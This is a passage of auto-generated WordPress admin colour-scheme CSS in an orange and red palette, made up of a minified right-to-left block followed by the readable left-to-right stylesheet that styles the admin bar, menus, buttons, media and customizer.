a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#f7e3d3}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#f7e3d3}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:hsl(2.1582733813,7%,95%)}#wpadminbar #adminbarsearch:before{color:hsl(2.1582733813,7%,95%)}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:#d66560}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#ccaf0b}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#b89e0a}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:#d66560;background-color:#d66560}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#f7e3d3}#wpadminbar #wp-admin-bar-user-info .username{color:#f1c8c7}.wp-pointer .wp-pointer-content h3{background-color:#dd823b;border-color:#d97426}.wp-pointer .wp-pointer-content h3:before{color:#dd823b}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#dd823b}.media-item .bar,.media-progress-bar div{background-color:#dd823b}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #dd823b}.attachment.details .check{background-color:#dd823b;box-shadow:0 0 0 1px #fff,0 0 0 2px #dd823b}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #dd823b}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#dd823b}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#dd823b}.theme-filter.current,.theme-section.current{border-bottom-color:#cf4944}body.more-filters-opened .more-filters{color:#fff;background-color:#cf4944}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#dd823b;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#dd823b;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px #e59e66,0 0 2px 1px #dd823b}div#wp-responsive-toggle a:before{color:hsl(2.1582733813,7%,95%)}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#dd823b}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#be3631}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:hsl(2.1582733813,7%,95%)}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#dd823b}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-right-color:#dd823b}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#dd823b}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-right-color:#dd823b}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px #e59e66,0 0 2px 1px #dd823b}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-right-color:#dd823b;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#dd823b}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#dd823b;border-style:solid;box-shadow:0 0 0 1px #dd823b;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#dd823b}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#dd823b}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#dd823b}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px #e59e66,0 0 2px 1px #dd823b}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#dd823b;color:#0073aa}/*! This file is auto-generated */
/*
 * Button mixin- creates a button effect with correct
 * highlights/shadows, based on a base color.
 */
/**
 * This function name uses British English to maintain backward compatibility, as developers
 * may use the function in their own admin CSS files. See #56811.
 */
body {
  background: #f1f1f1;
}

/* Links */
a {
  color: #0073aa;
}
a:hover, a:active, a:focus {
  color: #0096dd;
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-revisions:before,
span.wp-media-buttons-icon:before {
  color: currentColor;
}

.wp-core-ui .button-link {
  color: #0073aa;
}
.wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button-link:focus {
  color: #0096dd;
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment,
.wp-core-ui .button-link-delete {
  color: #a00;
}

.media-modal .delete-attachment:hover,
.media-modal .trash-attachment:hover,
.media-modal .untrash-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:focus,
.wp-core-ui .button-link-delete:hover,
.wp-core-ui .button-link-delete:focus {
  color: #dc3232;
}

/* Forms */
input[type=checkbox]:checked::before {
  content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%237e8993%27%2F%3E%3C%2Fsvg%3E");
}

input[type=radio]:checked::before {
  background: #7e8993;
}

.wp-core-ui input[type=reset]:hover,
.wp-core-ui input[type=reset]:active {
  color: #0096dd;
}

input[type=text]:focus,
input[type=password]:focus,
input[type=color]:focus,
input[type=date]:focus,
input[type=datetime]:focus,
input[type=datetime-local]:focus,
input[type=email]:focus,
input[type=month]:focus,
input[type=number]:focus,
input[type=search]:focus,
input[type=tel]:focus,
input[type=text]:focus,
input[type=time]:focus,
input[type=url]:focus,
input[type=week]:focus,
input[type=checkbox]:focus,
input[type=radio]:focus,
select:focus,
textarea:focus {
  border-color: #dd823b;
  box-shadow: 0 0 0 1px #dd823b;
}

/* Core UI */
.wp-core-ui .button {
  border-color: #7e8993;
  color: #32373c;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #717c87;
  color: #262a2e;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button:active {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: none;
}
.wp-core-ui .button.active,
.wp-core-ui .button.active:focus,
.wp-core-ui .button.active:hover {
  border-color: #dd823b;
  color: #262a2e;
  box-shadow: inset 0 2px 5px -3px #dd823b;
}
.wp-core-ui .button.active:focus {
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button,
.wp-core-ui .button-secondary {
  color: #dd823b;
  border-color: #dd823b;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button-secondary:hover {
  border-color: #c36922;
  color: #c36922;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus,
.wp-core-ui .button-secondary:focus {
  border-color: #e59e66;
  color: #98511a;
  box-shadow: 0 0 0 1px #e59e66;
}
.wp-core-ui .button-primary:hover {
  color: #fff;
}
.wp-core-ui .button-primary {
  background: #dd823b;
  border-color: #dd823b;
  color: #fff;
}
.wp-core-ui .button-primary:hover, .wp-core-ui .button-primary:focus {
  background: #df8a48;
  border-color: #db7a2e;
  color: #fff;
}
.wp-core-ui .button-primary:focus {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #dd823b;
}
.wp-core-ui .button-primary:active {
  background: #d97426;
  border-color: #d97426;
  color: #fff;
}
.wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover {
  background: #dd823b;
  color: #fff;
  border-color: #ad5d1e;
  box-shadow: inset 0 2px 5px -3px #150b04;
}
.wp-core-ui .button-group > .button.active {
  border-color: #dd823b;
}
.wp-core-ui .wp-ui-primary {
  color: #fff;
  background-color: #cf4944;
}
.wp-core-ui .wp-ui-text-primary {
  color: #cf4944;
}
.wp-core-ui .wp-ui-highlight {
  color: #fff;
  background-color: #dd823b;
}
.wp-core-ui .wp-ui-text-highlight {
  color: #dd823b;
}
.wp-core-ui .wp-ui-notification {
  color: #fff;
  background-color: #ccaf0b;
}
.wp-core-ui .wp-ui-text-notification {
  color: #ccaf0b;
}
.wp-core-ui .wp-ui-text-icon {
  color: hsl(2.1582733813, 7%, 95%);
}

/* List tables */
.wrap .page-title-action,
.wrap .page-title-action:active {
  border: 1px solid #dd823b;
  color: #dd823b;
}

.wrap .page-title-action:hover {
  color: #c36922;
  border-color: #c36922;
}

.wrap .page-title-action:focus {
  border-color: #e59e66;
  color: #98511a;
  box-shadow: 0 0 0 1px #e59e66;
}

.view-switch a.current:before {
  color: #cf4944;
}

.view-switch a:hover:before {
  color: #ccaf0b;
}

/* Admin Menu */
#adminmenuback,
#adminmenuwrap,
#adminmenu {
  background: #cf4944;
}

#adminmenu a {
  color: #fff;
}

#adminmenu div.wp-menu-image:before {
  color: hsl(2.1582733813, 7%, 95%);
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
  color: #fff;
  background-color: #dd823b;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
  color: #fff;
}

/* Active tabs use a bottom border color that matches the page background color. */
.about-wrap .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
  background-color: #f1f1f1;
  border-bottom-color: #f1f1f1;
}

/* Admin Menu: submenu */
#adminmenu .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
  background: #be3631;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
  border-right-color: #be3631;
}

#adminmenu .wp-submenu .wp-submenu-head {
  color: #f1c8c7;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
  color: #f1c8c7;
}
#adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu .wp-submenu a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover {
  color: #f7e3d3;
}

/* Admin Menu: current */
#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
  color: #fff;
}
#adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus {
  color: #f7e3d3;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
  border-right-color: #f1f1f1;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
  color: #fff;
  background: #dd823b;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.current div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before {
  color: #fff;
}

/* Admin Menu: bubble */
#adminmenu .menu-counter,
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
  color: #fff;
  background: #ccaf0b;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
  color: #fff;
  background: #be3631;
}

/* Admin Menu: collapse button */
#collapse-button {
  color: hsl(2.1582733813, 7%, 95%);
}

#collapse-button:hover,
#collapse-button:focus {
  color: #f7e3d3;
}

/* Admin Bar */
#wpadminbar {
  color: #fff;
  background: #cf4944;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
  color: #fff;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
  color: hsl(2.1582733813, 7%, 95%);
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
  color: #f7e3d3;
  background: #be3631;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
  color: #f7e3d3;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
  color: #f7e3d3;
}

/* Admin Bar: submenu */
#wpadminbar .menupop .ab-sub-wrapper {
  background: #be3631;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
  background: #cf6b67;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
  color: #f1c8c7;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
  color: hsl(2.1582733813, 7%, 95%);
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
  color: #f7e3d3;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
  color: #f7e3d3;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
  color: hsl(2.1582733813, 7%, 95%);
}

/* Admin Bar: search */
#wpadminbar #adminbarsearch:before {
  color: hsl(2.1582733813, 7%, 95%);
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
  color: #fff;
  background: #d66560;
}

/* Admin Bar: recovery mode */
#wpadminbar #wp-admin-bar-recovery-mode {
  color: #fff;
  background-color: #ccaf0b;
}

#wpadminbar #wp-admin-bar-recovery-mode .ab-item,
#wpadminbar #wp-admin-bar-recovery-mode a.ab-item {
  color: #fff;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
  color: #fff;
  background-color: #b89e0a;
}

/* Admin Bar: my account */
#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
  border-color: #d66560;
  background-color: #d66560;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
  color: #fff;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
  color: #f7e3d3;
}

#wpadminbar #wp-admin-bar-user-info .username {
  color: #f1c8c7;
}

/* Pointers */
.wp-pointer .wp-pointer-content h3 {
  background-color: #dd823b;
  border-color: #d97426;
}

.wp-pointer .wp-pointer-content h3:before {
  color: #dd823b;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
  border-bottom-color: #dd823b;
}

/* Media */
.media-item .bar,
.media-progress-bar div {
  background-color: #dd823b;
}

.details.attachment {
  box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #dd823b;
}

.attachment.details .check {
  background-color: #dd823b;
  box-shadow: 0 0 0 1px #fff, 0 0 0 2px #dd823b;
}

.media-selection .attachment.selection.details .thumbnail {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #dd823b;
}

/* Themes */
.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
  background: #dd823b;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
  color: #dd823b;
}

.theme-section.current,
.theme-filter.current {
  border-bottom-color: #cf4944;
}

body.more-filters-opened .more-filters {
  color: #fff;
  background-color: #cf4944;
}

body.more-filters-opened .more-filters:before {
  color: #fff;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
  background-color: #dd823b;
  color: #fff;
}

body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
  color: #fff;
}

/* Widgets */
.widgets-chooser li.widgets-chooser-selected {
  background-color: #dd823b;
  color: #fff;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
  color: #fff;
}

/* Nav Menus */
.nav-menus-php .item-edit:focus:before {
  box-shadow: 0 0 0 1px #e59e66, 0 0 2px 1px #dd823b;
}

/* Responsive Component */
div#wp-responsive-toggle a:before {
  color: hsl(2.1582733813, 7%, 95%);
}

.wp-responsive-open div#wp-responsive-toggle a {
  border-color: transparent;
  background: #dd823b;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
  background: #be3631;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
  color: hsl(2.1582733813, 7%, 95%);
}

/* TinyMCE */
.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
  background: #dd823b;
}

/* Customizer */
.wp-core-ui #customize-controls .control-section:hover > .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,
.wp-core-ui #customize-controls .control-section.open .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:focus {
  color: #0073aa;
  border-left-color: #dd823b;
}
.wp-core-ui .customize-controls-close:focus,
.wp-core-ui .customize-controls-close:hover,
.wp-core-ui .customize-controls-preview-toggle:focus,
.wp-core-ui .customize-controls-preview-toggle:hover {
  color: #0073aa;
  border-top-color: #dd823b;
}
.wp-core-ui .customize-panel-back:hover,
.wp-core-ui .customize-panel-back:focus,
.wp-core-ui .customize-section-back:hover,
.wp-core-ui .customize-section-back:focus {
  color: #0073aa;
  border-left-color: #dd823b;
}
.wp-core-ui .customize-screen-options-toggle:hover,
.wp-core-ui .customize-screen-options-toggle:active,
.wp-core-ui .customize-screen-options-toggle:focus,
.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus {
  color: #0073aa;
}
.wp-core-ui .customize-screen-options-toggle:focus:before,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before,
.wp-core-ui .menu-item-bar .item-delete:focus:before,
.wp-core-ui #available-menu-items .item-add:focus:before,
.wp-core-ui #customize-save-button-wrapper .save:focus,
.wp-core-ui #publish-settings:focus {
  box-shadow: 0 0 0 1px #e59e66, 0 0 2px 1px #dd823b;
}
.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover {
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,
.wp-core-ui .control-panel-themes .customize-themes-section-title:hover {
  border-left-color: #dd823b;
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after {
  background: #dd823b;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title.selected {
  color: #0073aa;
}
.wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,
.wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after {
  color: #0073aa;
}
.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus {
  background-color: #fbfbfc;
  border-color: #dd823b;
  border-style: solid;
  box-shadow: 0 0 0 1px #dd823b;
  outline: 2px solid transparent;
}
.wp-core-ui .wp-full-overlay-footer .devices button:focus,
.wp-core-ui .wp-full-overlay-footer .devices button.active:hover {
  border-bottom-color: #dd823b;
}
.wp-core-ui .wp-full-overlay-footer .devices button:hover:before,
.wp-core-ui .wp-full-overlay-footer .devices button:focus:before {
  color: #dd823b;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus {
  color: #dd823b;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
  box-shadow: 0 0 0 1px #e59e66, 0 0 2px 1px #dd823b;
}
.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover {
  border-bottom-color: #dd823b;
  color: #0073aa;
}/*! This file is auto-generated */
